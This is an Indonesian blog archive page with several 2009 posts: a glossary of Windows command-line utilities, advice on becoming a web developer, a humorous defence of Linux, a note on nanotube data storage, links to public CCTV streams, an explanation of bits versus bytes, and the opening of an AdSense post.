CON2PRT - Connect atau disconnect sebuah Printer
CONVERT - Convert FAT drive menjadi NTFS.
COPY - Copy 1 atau lebih file ke lokasi tertentu
CSVDE - Import/Export Active Directory data
DATE - Menampilkan/mengatur tanggal
Dcomcnfg - DCOM Configuration Utility
DEFRAG - Defragment hard drive
DEL - Menghapus 1 atau lebih file
DELPROF - Menghapus User Profile NT
DELTREE - Menghapus sebuah folder beserta subfolder
DevCon - Device Manager Command Line Utility
DIR - Menampilkan daftar file/folder dari sebuah drive
DIRUSE - Menampilkan disk usage/kapasitas disk
DISKCOMP - Membandingkan isi dari 2 buah floppy disk
DISKCOPY - Copy isi dari sebuah floppy disk ke floppy disk lainnya
DNSSTAT - DNS Statistics
DOSKEY - Mengedit command line,recall commands,dan create macros
DSADD - Menambah user (computer, group..) ke dalam active directory
DSQUERY - Menambah item ke dalam active directory
DSMOD - Modify user (computer, group..) di dalam active directory
ECHO - Menampilkan message pada monitor
ERASE - Menghapus satu atau lebih file
EXIT - keluar dari window CMD
EXPAND - Uncompress file
EXTRACT - Uncompress CAB files
FC - Membandingkan 2 buah file
FDISK - Disk Format dan partition
FIND - Mencari sebuah text string di dalam sebuah file
FINDSTR - Mencari strings di dalam files
FOR /F -Loop command: untuk beberapa files sekaligus
FOR - Loop command: all options Files, Directory, List
FORFILES - Batch process multiple files
FORMAT - Memformat sebuah disk
FREEDISK - Menampilkan free disk space (dalam bytes)
FSUTIL - File and Volume utilities
FTP - File Transfer Protocol
FTYPE - Menampilkan/mengubah file types yg digunakan dalam file extension
GLOBAL - Menampilkan daftar anggota dalam global groups
GOTO - Mengarahkan sebuah program batch untuk melompat ke labelled line
HELP - Online Help
HFNETCHK - Network Security Hotfix Checker
IF - Conditionally perform a command (perintah bersyarat)
IPCONFIG - Configure IP
KILL - Menghapus program dari memory
LABEL - Memberi/mengubah label disk
LOCAL - Menampilkan daftar anggota local groups
LOGEVENT - Menulis text ke dalam NT event viewer.
LOGOFF - Keluar dari system / Mengeluarkan user dari system
LOGTIME - mencatat tanggal dan waktu dalam sebuah file
MAPISEND - Mengirim e-mail dari command line
MEM - Menampilkan memory usage
MD - Create new folders
MODE - Configure a system device
MOUNTVOL - Mengatur Mount point dalam sebuah volume
MOVE - Memindahkan file dari sebuah folder ke folder lain
MOVEUSER - Menindahkan user dari sebuah domain ke domain lain
MSG - Mengirim message
MSIEXEC - Microsoft Windows Installer
MSINFO - Windows NT diagnostics
MSTSC - Terminal Server Connection (Remote Desktop Protocol)
MUNGE - Mencari dan Menganti text di dalam sebuah file (find & replace)
MV - Meng-copy file yang sedang/sementara digunakan
NET - Mengatur network resources
NETDOM - Domain Manager
NETSH - Configure network protocols
NETSVC - Command-line Service Controller
NBTSTAT - Menampilkan networking statistics (NetBIOS over TCP/IP)
NETSTAT - Menampilkan networking statistics (TCP/IP)
NOW - Menampilkan current Date and Time
NSLOOKUP - Name server lookup
NTBACKUP - Backup folders
NTRIGHTS - Edit user account rights (wilayah akses yg diizinkan oleh admin)
PATH - Menampilkan atau mengatur search path untuk executable files
PATHPING - Melacak route plus network latency dan packet loss
PAUSE - Menahan proses sebuah batch file and menampilkan message
PERMS - Menampilkan permissions (wilayah akses) user
PERFMON - Performance Monitor
PING - Menguji (test) network connection
POPD - Restore previous value dari sebuah directory yang di-save oleh PUSHD
PORTQRY - Menampilkan status ports dan service
PRINT - Print text file
PRNCNFG - Menampilkan, mengatur, atau mengubah nama printer
PRNMNGR - Menampilkan, menghapus, atau menambah daftar printer; set default printer
PROMPT - Mengubah command prompt
PsExec - Menjalankan proses jarak jauh (remote)
PsFile - Menunjukkan file2 yang dibuka dari jarak jauh
PsGetSid - Menampilkan SID sebuah computer atau user
PsInfo - Menampilkan informasi dari sebuah system
PsKill - Menghentikan proses melalui process ID
PsList - Menampilkan detail informasi dari sebuah proses
PsLoggedOn - Who's logged on (mengecek secara lokal atau melalui resource sharing)
PsLogList - Event log records
PsPasswd - Mengubah account password
PsService - Menampilkan dan mengubah services
PsShutdown - Shutdown atau reboot computer
PsSuspend - Suspend/menahan proces
PUSHD - Menyimpan/Save dan mengganti current directory
QGREP - Mencari kata/kalimat di dalam file yg sesuai dgn pola/line yg ditentukan.
RASDIAL - Mengatur RAS connections
RASPHONE - Mengatur RAS connections
RECOVER - Memulihkan/Recover damaged file dari sebuah disk defective (rusak).
REG - Membaca, mengatur, atau menghapus registry keys dan values
REGEDIT - Mengimport/mengeksport registry settings
REGSVR32 - Register/unregister file DLL atau ocx
REGINI - Mengubah Registry Permissions
REM - Merekam/mencatat comments (remarks) di dalam sebuah batch file
REN - mengubah nama file
REPLACE - Mengganti/Replace atau meng-update sebuah file dengan file line
RD - Delete folder
RDISK - Create Recovery Disk
RMTSHARE - Share folder atau printer
ROUTE - Memanipulasi network routing tables
RUNAS - Menjalankan sebuah program dgn menggunakan user account lain.
RUNDLL32 - Menjalankan sebuah DLL command (add/remove print connections)
SC - Service Control
SCHTASKS - Create or Edit Scheduled Tasks
SCLIST - Display NT Services
ScriptIt - Control GUI applications
SET - Display, set, atau remove environment variables
SETX - Set environment variables secara permanent
SHARE - Mendaftar atau edit sebuah file share atau print share
SHORTCUT - Create windows shortcut (.LNK file)
SHOWGRPS - Menampilkan daftar NT Workgroups atau user yang telah joined
SHOWMBRS - Menampilkan daftar Users yg merupakan member dari sebuah Workgroup
SHUTDOWN - Shutdown computer
SLEEP - Menunggu selama beberapa saat
SOON - Menjadwal(schedule) sebuah command untuk beberapa waktu kemudian
SORT - Sort input
START - membuka sebuah window baru, untuk menjalankan program atau command tertentu
SU - Switch User
SUBINACL - Edit file & folder Permissions, Ownership serta Domain
SUBST - Menyesuaikan sebuah path dengan drive letter
SYSTEMINFO - Menampilkan daftar system configuration
TASKLIST - Menampilkan daftar aplikasi dan service yang sedang berjalan
TIME - Menampilkan atau mengubah waktu pada system
TIMEOUT - Delay processing sebuah batch file
TITLE - Menentukan judul window untuk sebuah session CMD.EXE
TOUCH - mengubah timestamps sebuah file
TRACERT - Melacak route ke sebuah remote host
TREE - Tampilan grafis dari struktur folder
TYPE - Menampilkan isi dari sebuah text file
USRSTAT - Menampilkan daftar domain usernames dan last login
VER - Menampilkan version information
VERIFY - Memeriksa apakah files telah ter-save
VOL - Menampilkan disk label
WHERE - Mencari dan menampilkan files di dalam sebuah directory tree
WHOAMI - Menampilkan current UserName dan current domain
WINDIFF - Membandingkan isi dari dua atau lebih file.
WINMSD - Windows system diagnostics
WINMSDP - Windows system diagnostics II
WMIC - WMI Commands
XCACLS - Mengubah file permissions (hak akses)
XCOPY - Copy files dan folders

READ MORE - List CMD command di Windows

Step By Step Untuk Menjadi Seorang Web Developer

Jumat, Oktober 23, 2009 by blie dessy · 3 komentar
Label:


Saya mencoba membuat daftar langkah-langkah yang dapat anda tempuh untuk menjadi seorang web developer berdasarkan pengalaman saya sebagai web developer. Semoga daftar ini dapat membantu anda untuk memulai karir sebagai web developer. Tidak panjang lebar inilah langkah-langkah menjadi seorang web developer:


1. Belajar bahasa pemrograman web, untuk memulainya tentu anda harus menguasai bahasa pemrograman web. Dan bahasa yang dikuasai tidak cukup 1 bahasa pemrograman saja karena web dibangun diatas beberapa faktor pendukung. Bahasa yang sebaiknya anda pelajari untuk menjadi web developer adalah:

HTML
merupakan bahasa pemrograman web paling dasar dan mutlak harus dikuasai. HTML adalah bahasa untuk menciptakan tampilan web yang anda lihat di browser. HTML membangun struktur tampilan web seperti header, content, footer, menu, dan sebagainya. Namun untuk menciptakan tampilan yang lebih baik tidak cukup dengan HTML saja masih diperlukan bahasa lain untuk menciptakan tampilan yang lebih baik.

CSS
inilah bahasa pelengkap HTML. Tanpa CSS kita tak akan dapat menciptakan tampilan yang indah. CSS adalah bahasa yang mengatur layout dan tampilan dari web tersebut misalnya warna background, tulisan, font, ukuran, dan sebagainya. Dengan kombinasi HTML dan CSS maka kita dapat menciptakan tampilan yang baik dan indah.

Bahasa scripting web misalnya PHP, ASP, ColdFusion, Python, dan lainnya.
Bahasa pemrograman ini adalah bahasa yang akan kita gunakan untuk membangun aplikasi web. Kalau tadi HTML dan CSS merupakan pembangun tampilan dari web tersebut maka bahasa scripting ini adalah pengontrol logika aplikasi web. Bahasa ini menghubungkan aplikasi web kita dengan database dan mengolah input output dari aplikasi kita. Sebaiknya anda memilih salah satu bahasa untuk didalami. Saya menyarankan menggunakan PHP karena bahasa inilah yang paling banyak digunakan untuk membuat aplikasi web. Dengan sifatnya yang terbuka dan bebas biaya maka kita dengan mudah mempelajari dan membuat aplikasi web dengan mudah. Kelengkapan dokumentasi dan tutorial PHP juga sangat banyak sehingga anda tidak akan kesulitan mempelajari bahasa yang satu ini.

SQL
merupakan bahasa scripting database. Database adalah aplikasi pengolah data yang menyimpan data untuk digunakan bersama aplikasi web kita. Database ada bermacam-macam misalnya MySQL, SQLite, Oracle, PostgreSQL, SQL Server, dan database lainnya. Sangat disarankan untuk memilih salah satu untuk didalami. Walaupun SQL merupakan standar bahasa scripting database namun dengan mempelajari salah satu scripting database yang ada maka kita akan dimudahkan dalam menyimpan, mengelola, dan memberikan output data dengan tersedianya fungsi-fungsi yang akan membantu anda bekerja dengan database.

Javascript
bahasa scripting yang berjalan di browser. Bahasa ini tidak mutlak dipelajari, namun kalau anda ingin membuat web dengan efek animasi, dan web yang lebih interaktif maka javascript akan membantu anda. Dibandingkan dengan flash untuk membuat efek tertentu, saya lebih memilih Javascript. Kenapa, karena Flash masih memerlukan installasi plugin sedangkan Javascript sudah didukung secara default oleh browser modern.

2. Pelajari teknik penyelesaian kasus-kasus pemrograman web.
Misalnya bagaimana pemrograman yang berhubungan dengan tanggal, bagaimana menghubungkan web dengan aplikasi lainnya, bagaimana mengakses database, dan beragam teknik lainnya. Dengan mengetahui teknik pemrograman dan penyelesaian kasus-kasus pemrograman web maka anda dapat lebih efektif dalam pemrograman aplikasi web anda.

3. Pelajari metode pengembangan web yang baik.
Ada banyak metode pengembangan seperti RUP, Agile, dan USDP tapi pada dasarnya mengfokuskan pada analisa, perancangan, pengembangan, dan pengujian. Lakukan pengembangan aplikasi dengan tahapan-tahapan diatas. Lakukan analisa apa yang diperlukan oleh aplikasi ini, kemudian rancang terlebih dahulu aplikasi anda sebelum melakukan coding, lakukan pengembangan atau coding, dan uji coba terlebih dahulu sebelum dirilis atau didelivery. Anda dapat kembali ketahap sebelumnya bila diperlukan. Yang penting, tentukan sendiri metode yang paling baik seusai dengan diri anda.

4. Belajar mengolah gambar.
Buat apa? Karena dengan gambar maka kita dapat memberikan informasi lebih cepat dan efektif dibandingkan dengan mendeskripsikan dalam text yang panjang. Cukup pelajari Adobe Photoshop atau Adobe Firework yang merupakan software paling umum untuk keperluan gambar web. Pelajari bagaimana membuat gambar seperti icon, background, patern, dan gambar lainnya. Sebenarnya bukan merupakan keharusan karena untuk menciptakan gambar untuk tampilan web karena hal ini lebih cenderung merupakan pekerjaan web designer. Namun bila anda bs membuat gambar untuk web maka akan lebih membantu dibandingkan anda harus meminta tolong teman anda untuk keperluan gambar web anda.

5. Gunakan framework
framework merupakan sekumpulan fungsi dan library yang dapat memudahkan pemrograman anda. Gunakan framework sesuai dengan bahasa pemrograman anda. Misalnya ASP menggunakan .NET Framework. Ruby dengan Rails Framework, Python dengan Django Framework, dan PHP yang lebih banyak lagi seperti Prado, Symfony, CakePHP, dan framework lainnya. Lakukan riset dan tentukan pilihan anda framework mana yang akan anda gunakan dan dalami framework tersebut. Jangan terlalu banyak berpindah-pindah framework karena anda tidak akan memperoleh manfaat maksimal karena pemahaman yang terpecah-pecah. Jadi tentukan framework pilihan anda sesuai minat, dan teknik yang anda senangi.

6. Pelajari teknik-teknik mengoptimalkan aplikasi anda.
Agar aplikasi anda dapat berjalan lebih cepat dan responsif maka anda harus dapat melakukan tuning atau optimalisasi. Pelajari teknik pemrograman web yang baik, pemecahan masalah programming yang efektif, tuning dan optimalisasi database, serta optimasi web server.

7. Pelajari web server
akan sangat bermanfaat bila anda mempelajari web server agar anda dapat mengetahui bagaimana menjalankan aplikasi anda di web server. Atau bagaimana cara mengoptimalkan aplikasi di web server. Misalnya penggunaan module caching seperti APC, eAccelerator, dan sebagainya. Atau penggunaan file .htaccess untuk menciptakan friendly URL atau URL yang lebih enak dibaca. Dengan mempelajari web server maka anda dapat mengoptimalkan dan menambahkan feature aplikasi anda di server.

8. Pelajari penggunaan control panel hosting.
Karena anda akan banyak berhubungan dengan control panel bila anda menyewa hosting untuk web anda. Control panel yang banyak digunakan antara lain Cpanel, Pleks, ISPConfig, dan sebagainya. Dengan memahami penggunaan control panel maka anda dapat mengoptimalkan aplikasi anda di provider hosting anda.

9. Ikuti perkembangan teknologi web terbaru.
Teknologi web selalu berkembang misalnya munculnya teknologi RSS, PODCasting, dan teknologi lainnya. Pelajari bagaimana membuat dan menggunakan teknologi tersebut di aplikasi anda. Karena aplikasi yang ketinggalan jaman akan ditinggalkan penggunanya juga.

10. Pelajari manajemen proyek.
Suatu pengembangan aplikasi merupakan suatu proyek yang harus di atur, direncanakan, dan dilakukan dengan baik. Dengan mempelajari manajemen proyek maka anda dapat melakukan kolaborasi dengan yang lain dalam mengembangkan aplikasi. Anda juga dapat memperoleh efektifitas dan efisiensi waktu dalam menyelesaikan suatu proyek.

11. Untuk meningkatkan kemampuan anda, selalu asah kemampuan anda dengan mengerjakan aplikasi web. Entah pekerjaan, atau proyek pribadi. Karena makin banyak aplikasi yang anda buat maka kemampuan anda akan makin baik. Kembangkan ide anda dan realisasikan menjadi suatu aplikasi.

12. Yang terakhir, jangan mau selalu menjadi web developer yang hanya mengerjakan proyek orang lain. Anda harus membuat suatu aplikasi yang dapat dijadikan produk atau layanan anda sebagai wujud kemampuan anda. Produk dan layanan ini dapat anda jual sehingga anda dapat memperoleh hasil dari kemampuan anda dan menikmati hasilnya. Dibandingkan dengan mengerjakan proyek orang lain secara terus-terusan dan dibayar per-proyek tentu akan lebih baik bila anda mengerjakan 1 produk namun anda memperoleh hasil terus-terusan dengan syarat produk anda memiliki nilai jual yang baik.

Itulah langkah-langkah dasar untuk menjadi seorang web developer menurut pengalaman saya. Langkah diatas tidaklah cukup, hanya langkah dasar saja. Semoga daftar diatas dapat menjadi pembimbing anda dan bahkan dapat menjadikan anda web developer yang lebih baik lagi. Anda harus terus belajar dan berlatih terus serta selalu menerima perkembangan yang ada agar kemampuan anda terus terasah.

READ MORE - Step By Step Untuk Menjadi Seorang Web Developer

Linux Oh Linux...That's Why I Love It !!

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:


Ya! Buat kamu yang belum pernah mencoba menggunakan sistem operasi yang identik dengan logo pinguin ini, ada baiknya untuk tidak mencoba memakainya! Loh? Kenapa? Berikut beberapa alasan untuk tidak menggunakan Linux.

1. Linux itu susah!
Iya itu faktanya. Linux itu susah! Bener-bener susah! Sekali kamu coba memakainya maka akan sulit bagi kamu untuk tidak mengulangi untuk memakainya lagi. Linux bagai candu yang akan membuat pemakainya betah berlama-lama berinteraksi dengannya, dan seringkali memberikan pertanyaan-pertanyaan yang unik dan menarik.

2. Linux itu mainan para hacker!
Buat yang merasa dirinya bukan hacker, sangat disarankan untuk tidak memakai Linux. Mengapa? Iya, karena Linux akan membuat kamu mandiri.

Hmmm… mandiri? Contohnya?

Di Linux, kamu akan menemukan banyak hal baru dan menarik. Kamu akan terus mencoba dan mencoba. Sedikit demi sedikit ‘hack‘ pada sistem operasi ini akan kamu lakukan.

Hack? Iya, hack! Terdengar keren dan begitu geek, bukan? Semua itu legal untuk dilakukan di Linux, karena source codenya dengan mudah dapat kamu peroleh, kamu modifikasi, ubah sana, ubah sini, dan menyebarkannya ulang dengan bebas pula, selama tidak keluar dari ruang lingkup General Public License.

3. Linux itu merugikan!
Pihak-pihak yang mendukung konsep proprietary software tentulah akan merasa dirugikan. Mengapa? Karena bila semakin banyak pengguna Linux (dan open source) tentu lahan bisnis mereka akan semakin tergerus terus dan terus.

Tapi, tidak hanya kerugian dari segi finansial saja yang akan mereka dapat. Melainkan juga ada banyak keuntungan yang akan mereka peroleh, meskipun tidak mereka rasakan secara langsung. Contohnya? Karena software open source tersedia source codenya dengan bebas, maka pengembang software proprietary pun dapat ‘mengintip’ dan ‘mencomot’ beberapa bagian software yang mereka anggap menarik untuk kemudian diintegrasikan ke dalam software komersial mereka.

Duh, contohnya masih kurang nih! Oke… oke… Kita ambil contoh Sun Microsystems dengan software office suite mereka yang ternama, OpenOffice dan StarOffice. Hmmm… ada apa dengan OpenOffice dan StarOffice? Sungguh menarik melihat fenomena yang terjadi di sini. OpenOffice dibangun berdasarkan source code StarOffice, lisensi yang disematkan ke OpenOffice ini bersifat open source yang dikembangkan secara gotong royong dengan komunitas yang tersebar di seantero benua di muka bumi ini. Dari hasil pengembangan OpenOffice, Sun Microsystems kemudian mengambil beberapa bagian kodenya untuk kemudian diintegrasikan ke StarOffice dengan ditambahkan beberapa ‘hasil keringat’ ‘orang dalam’ Sun Microsystems. Lisensi StarOffice sendiri bersifat proprietary. Sebuah hubungan timbal balik yang unik dan saling menguntungkan, bukan?

4. Linux itu jelek dan tidak menarik
Pernyataan itu tidak salah, namun tidak juga benar. Bila kita melihat Linux secara parsial, yakni hanya kernel/intinya saja tentu pernyataan itu dapat dibenarkan. Apa sih yang bisa dilakukan oleh ’seonggok’ kernel? Dan meskipun kernel itu bisa dipakai, apa sih yang menarik dari tampilan command line based dengan background hitam dan teks putih saja?

Namun bila kita melihat Linux secara keseluruhan sebagai satu kesatuan sistem operasi yang komplit, dengan desktop environment dan lingkungan kerja berbasis GUI (Graphical User Interface) yang indah, kemungkinan kamu akan membantah pernyataan itu. Kasih contoh dong! Oke, mari kita tilik sejenak desktop GNOME atau KDE (atau yang lainnya) dengan Compiz enabled dan setting animasi desktop yang maksimal, saya yakin kamu akan takjub melihat keindahannya. Tidak percaya? Silakan berkunjung ke YouTube dan masukkan kata kunci pencarian “compiz desktop”, tonton salah satu video demonstrasinya.

5. Linux itu membingungkan
Amat sangat membingungkan! Itulah perasaan yang akan kamu temui saat pertama kali menatap ‘wajah’ Tux si pinguin ini. Bingung mau memakai distribusi Linux apa, bingung mau pakai software yang mana, bingung untuk menginstal aplikasi apa diantara sekian banyak aplikasi, bingung untuk memilih desktop environment (GNOME, KDE, Xfce, dsb), dan banyak kebingungan-kebingungan lain yang mungkin akan kamu jumpai.

Semua itu wajar. Di dunia Linux dan open source, freedom is the will. Saking beragamnya kebebasan yang ditawarkan, maka tidaklah mengherankan bila perkembangan Linux dan software open source pada umumnya dapat dibilang pesat.

Belum lagi ditambah dengan kebingungan mau bertanya kepada siapa bila nantinya kamu menemui kendala yang serius dikarenakan saking banyaknya LUG (Linux User Group) baik yang bertaraf lokal maupun internasional yang siap membantu menyelesaikan masalah yang kamu temui.

6. Linux itu mahal
Benar sekali! Linux itu mahal! Karena kamu ‘kemungkinan’ akan mengeluarkan uang yang tidak sedikit untuk mendapatkannya. Iya! Semahal satu dua keping CD/DVD blank untuk ‘membakar’ salinan/ISOnya.

Juga untuk membayar koneksi internet (bila ada) atau CD/DVD repository (paket software dalam CD/DVD). Kita ambil contoh DVD repository Ubuntu yang dijual di berbagai toko online, harganya berkisar antara 50.000 s.d 100.000 rupiah! Dudududu… mahal sekali…

Setuju! Mahal sekali biaya yang harus dikeluarkan demi mendapatkan tambahan paket software free dan open source berkualitas yang super lengkap dan super banyak! Coba bandingkan dengan harga satu lisensi sistem operasi proprietary yang harganya berkisar diatas US$ 100 atau harga lisensi untuk satu software proprietary yang harganya bervariasi mulai dari US$ 19.99 hingga ratusan dollar! Ah, jauh sekali perbedaannya. Linux memang mahal.

Ubuntu, melalui program shipitnya menawarkan pengiriman CD Ubuntu gratis ke seluruh penjuru dunia. Namun tidak sepenuhnya gratis! Melainkan mesti membayar ’semacam pajak yang entah terang atau gelap’ ke Kantor Pos, yang biayanya berkisar antara 5000 s.d 7000 rupiah. Mahalnya…

7. Linux itu membodohkan
Maksudnya?

Begini, betapa ‘bodoh’nya ‘orang-orang itu’, sudah capek-capek membuat program eh… kok malah diberikan begitu saja kepada orang lain, berikut source codenya pula! Tanpa meminta imbalan apa-apa! Logis nggak sih?

Melalui tindakan yang ‘bodoh’ itu, para programmer dan mereka yang berkecimpung di dunia open source telah berkontribusi yang tidak sedikit demi kemanusiaan dan perkembangan teknologi informasi untuk masa kini dan masa yang akan datang.

Melaui ‘kebodohan’ mereka pula, perkembangan software open source akan semakin cepat karena akan ada banyak orang yang turut berpartisipasi dalam mencari bugs yang mungkin ada untuk kemudian diperbaiki dan dioptimasi serta ditingkatkan fitur-fiturnya.

8. Linux itu berdosa
Ya, ‘berdosa’ kepada pengembang software proprietary karena tidak memberikan ‘pemasukan’ ke ‘kantong’ mereka dikarenakan software proprietary buatannya mendapatkan saingan dari software open source yang lebih murah, halal, dan legal dengan fitur yang tidak kalah (bahkan melebihi fitur-fitur yang ada pada software proprietary tersebut).

9. Linux itu menyedihkan
Sangat menyedihkan malah, bagaimana mungkin sistem operasi dengan usia yang relatif muda ini mampu berkembang pesat seperti sekarang ini, bahkan berani menghadapi sistem operasi proprietary yang telah dikembangkan jauh sebelumnya dan memiliki pangsa pasar yang tidak sedikit di seluruh dunia.

Bila dulu, banyak pihak yang meramalkan IBM OS/2 adalah sistem operasi masa depan, namun kenyataannya sekarang sungguh berbeda, OS/2 telah ‘down’ (bila tidak ingin dikatakan ‘mati’). Mari kita lihat bagaimana perkembangan Linux beserta software-software open source lainnya beberapa tahun kedepan.

Yup, diatas adalah beberapa alasan yang cukup logis untuk tidak memakai Linux. Sekarang terserah kepada kamu, masih mau memakai Linux?
READ MORE - Linux Oh Linux...That's Why I Love It !!

Harddisk Masa Depan

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:

Ditemukan teknologi utk menyimpan data yang tahan hingga milyaran tahun! - Harddisk jadi ketinggalan jaman...

Metode penyimpanan data konvensional sekarang sangatlah mudah rusak atau tidak awet kemakan waktu, misal:
- kertas --> mudah rusak
- HDD dan perangkat keras lainnya --> klo udah umurnya akan menjadi mudah corrupt, dsb sehingga tidak efisien untuk penyimpanan data dalam jangka panjang

Pusing kan?

Berikut ditemukan teknologi yang bisa tahan lama hingga milyaran tahun

N.B: Data seperti foto2, knowlegde, miyabi, sejarah bisa kita simpan untuk anak-cucu kita di tahun yg ke 1 milyar

Beberapa catatan manusia bertahan cukup lama. Tetapi salah satu pengecualian adalah lukisan gua di Lascaux, Perancis. Lukisan paleolithic yang bergambar kuda liar ini telah bertahan lebih dari 16.000 tahun. Artwok pada jaman sekarang mudah hilang dan catatan digital sering kali rusak/meluruh. Tetapi dalam isu Nano Letters, sebuah tim peneliti yang dipimpin oleh Alex Zettl, universitas California, Berkeley, mendeskripsikan sebuah metode yang bisa menyimpan informasi secara electroni untuk miliyaran tahun.

Dr Zettl dan koleganya mengkonstruksi sel memory dengan mengambil sebuah partikel besi yang hanya berukuran sepermilyar meter panjangnya dan menempatkan di dalam sebuah nanotube kosong berbahan karbon. Mereka menyisipkan elektroda disetiap ujung tube/pipa tersebut. Dengan menetukan arusnya, mereka menggerakkan partikel maju dan mundur. Hal ini menyediakan sebuah mekanisme untuk membuat "1" dan "0" yang dibutuhkan representasi digital: Jika partikel berada di salah satu ujung nilainya "1", dan jika di ujung lainnya nilainnya "0".

Tantangan selanjutknya adalah untuk membaca informasi elektronik ini. Para peneliti menemukan bahwa saar elektron mengalir melalui tube/pipa, mereka berpencar saat mendekati partikel. Dengan demikian posisi partikel mengubah resistensi elektrik dari nanotube dalam skala lokal. Meskipun mereka tidak bisa menemukan dengn tepat bagaimana hal ini dapat terjadi, mereka bisa menggunakan efeknya untuk membaca informasi yang tersimpan.

Yang membuat teknik ini sangat bisa bertahan lama adalah gerakan partikel yang berulang-ulang tidak memberikan efek/damage kepada dinding tube/pipa. Hal tersebut tidak saja hanya karena permukaan tube sangat keras, tetapi juga karena friksi/gesekan hampir tidak berasa pada saat skala kecil (baca:skala partikel).

Pembelajaran teori menyarankan bahwa system tersebut bisa menyimpan informasi dalam waktu yang sangat lama. Untuk pergantian secara spontan dari "1" ke "0" mengharuskan partikel bergerak 200 nanometer sepanjang tube/pipa menggunakan energi panas/thermal. Pada saat suhu kamar, kesempatan terjadinya peristiwa tersebut adalah sekali dalam miliyaran tahun. Jarak antara setiap ujung dari pipa/tube cukup kecil untuk melakukan pembacaan dan penulisan yang cepat dari sel memory saat digunakan.

Carbon nanotube:

Dr. Zettl menyarankan bahwa sel-sel ini dapat digunakan untuk membuat sebuah wadah yang padat setinggi 1 terabit (1 triliun bit informasi) per 1 inchi persegi (6,45 centimeter persegi). Dalam percobaan, informasi digital yang disimpan telah ditemukan dalam keadaan stabil, kontras dengan sel memory konvensional yang terkadang informasi sering hilang karena menghasilkan efek magnetic secara random dan pengurangan material sel.

ket : Dr. Zettl ada di sebelah kiri.

Tantangan selanjutnya hanyalah menciptakan sebuah memory elektronic yang mempunyai jutaan sel dibandingkan memory sekarang yang baru mempunyai satu sel. Jika Dr. Zettl berhasil dalam mengkomersilkan teknologi ini, pengrusakan informasi hanyalah sebuah sejarah.

Video : http://www.youtube.com/watch?v=2ztBLwUmF6A
Sumber : http://www.economist.com/sciencetechnology/tm/displaystory.cfm?story_id=13853129
READ MORE - Harddisk Masa Depan

CCTV Streaming Camera Indonesia

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:

Bagi anda yg pengen tahu keadaan kota2 di indonesia secara online real-time streaming via CCTV Camera bisa kunjungi website2 berikut ini, lumayan selagi ga ada kerjaan sambil iseng2 menjelajah kota lain tanpa harus pergi kesana...hahaha...

Siakan dicoba...

kalo mau liat Kota Jakarta : http://jakartacityview.com/
kalo mau liat Kota Solo, Kota Solo : http://solocityview.com/
kalo mau liat Jawa Tengah, Jawa Tengah : http://jatengcityview.com/
kalo mau liat Info Jalanan di Jakarta : http://macetlagi.com/

nah ini khusus buat Kota Yogyakarta...
buat yang blm pernah ke jogja, atau pengen tahu keadaan Jogja skrg :

http://flexiamplas.kicks-ass.net/
http://speedycorner.kicks-ass.net/
http://malioboro1.kicks-ass.net/
http://malioboro2.kicks-ass.net/
http://trikora.kicks-ass.net/


READ MORE - CCTV Streaming Camera Indonesia

bps BUKAN byte per second!

Jumat, Oktober 23, 2009 by blie dessy · 0 komentar
Label:


Fakta : bps BUKAN byte per second! - Jangan sampai salah kaprah....
Kalau berbicara tentang komputer, pasti kita pernah mendengar istilah "bps" dan kelipatan umumnya seperti "Kbps" dan "Mbps". Sebagai contoh, bandwith maksimum USB 2.0 adalah 480 Mbps. Sebagai contoh lain, warnet X mempunyai bandwidth 128 Kbps.

Banyak orang yang percaya bahwa "bps" tersebut berarti byte per second (mungkin anda salah satunya, dan dulu saya juga percaya). Nah, kini bersiap-siaplah menghadapi kenyataan pahitnya:
bps bukan berarti "byte per second", tapi "bit per second"!

Apa beda antara bit dengan byte? 1 byte sama dengan 8 bit. Jadi bandwidth maksimum USB 2.0 adalah 480 Mbps, yang sama dengan 480 Mega bit per second, atau 60 Mega byte per second. Network card anda yang berspesifikasi 100 Mbps berarti kemampuan transfer maksimumnya adalah 100 Mega bit per second atau 12.5 Mega byte per second.

Perlu kita ingat bahwa bit disingkat dengan menggunakan "b" (huruf kecil), sedangkan byte disingkat dengan menggunakan "B" (huruf besar). Karena itu, mulai sekarang latihlah pikiran anda untuk menjadi case-sensitive . Byte biasa digunakan untuk menandakan kemampuan menyimpan hardware-hardware seperti RAM dan hard disk, dan juga untuk menandakan besar file. Bit biasa dipakai untuk menunjukkan kecepatan transfer alat-alat komunikasi seperti network card dan USB port.

Masih belum percaya? Anda dapat melakukan pencarian di internet untuk meyakinkan diri anda sendiri (dan teman-teman anda). Ini beberapa web site yang juga menjelaskan arti bps:

1. http://searchnetworking.techtarget.com/sDefinition/0,,sid7_gci213820,00.html
2. http://www.whatis.com/definition/0,,sid9_gci212534,0.html
3. http://www.numion.com/FAQ/Glossary.html

Yang membuat prihatin, salah pengertian tentang "bps" sudah sangat menyebar, bahkan di kalangan TI sendiri. Adalah tugas yang sangat mulia untuk "saling mengingatkan dalam kebenaran". Jadi, mari kita lakukan sebisa mungkin untuk memberitahu teman-teman kita bahwa "bps" adalah "bit per second"

Sumber : http://agro.web.ugm.ac.id/bps.htm
READ MORE - bps BUKAN byte per second!

Seluk Beluk dan Cara Daftar Google Adsense

Jumat, Oktober 23, 2009 by blie dessy · 3 komentar
Label:


Sebelum saya menjelaskan lebih lanjut ada baik nya Anda tahu, bahwa google.com saat ini menduduki peringkat 3 dunia dalam jajaran situs-situs top dan situs-situs yang paling banyak mendapatkan pemasukan. Peringkat pertama masih di duduki oleh situs yahoo.com ( tahun 2002 , pemasukan situs yahoo.com adalah 5 Milyar dollar.

Saya tidak tahu persis berapa pemasukan situs google.com pertahunnya, namun saya yakin pemasukannya dalam hitungan milyaran dollar. Dari milyaran dollar keuntungan Google, maukah Anda mengambil secuil saja keuntungannya ?, mungkin cuma 0.01 % , 0.02 % atau 0.05 % ??

Cara kerja google Adsense
Anda hanya menempatkan iklan-iklan google di situs Anda, dan Anda akan di bayar per klik iklan. rata-rata google membayar setiap iklan yang di klik adalah sebesar $0.01 dan $5.00
Anda mungkin akan tertawa jika mendengar betapa "kecilnya" google membayar. Tapi coba anda pikirkan , jika ada 50.000 klik x 0.01 ? = $500 itu dalam hitungan tarif iklan yang paling kecil yakni $0.01

